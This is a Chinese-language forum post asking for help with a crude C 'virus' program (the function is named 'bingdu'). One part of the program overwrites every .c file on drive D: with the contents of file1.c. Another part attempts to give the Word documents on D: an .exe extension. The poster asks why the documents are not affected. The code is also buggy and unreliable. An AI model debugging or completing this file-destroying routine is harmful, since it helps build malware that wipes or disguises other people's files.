这个是怎么回事啊!帮小弟个忙啊
#include<stdio.h>
#include<dir.h>
#include<string.h>
main( )
{struct ffblk ffblk;
char *f="file1.c";
int done;
char *p;
done=findfirst("D:\\*.c",&ffblk,0);
while(!done)
{printf("%s\n",ffblk.ff_name);
copyfile(f,ffblk.ff_name);
done=findnext(&ffblk);
}
bingdu();
getch();
}
copyfile( char*f1,char*f2)
{FILE *in,*out;
char c;
in=fopen(f1,"r");
out=fopen(f2,"w");
while (!feof(in))
{c=getc(in);
putc(c,out);
}
fclose(in);
fclose(out);
}
bingdu()
{int done;
struct ffblk ffblk;
int i,d,c;
char name[30];
char name1[30];
char a[5]=".exe";
done=findfirst("D:\*.doc",&ffblk,0);
while(!done)
{strcpy(name,ffblk.ff_name);
d=strlen(name);
c=d-4;
for(i=0;i<c;i++)
name1[i]=name[i];
strcat(name1,a);
done=findnext(&ffblk);}
printf("%s",name1);
}
为什么D盘的word文档一点反应也没有啊,先谢拉!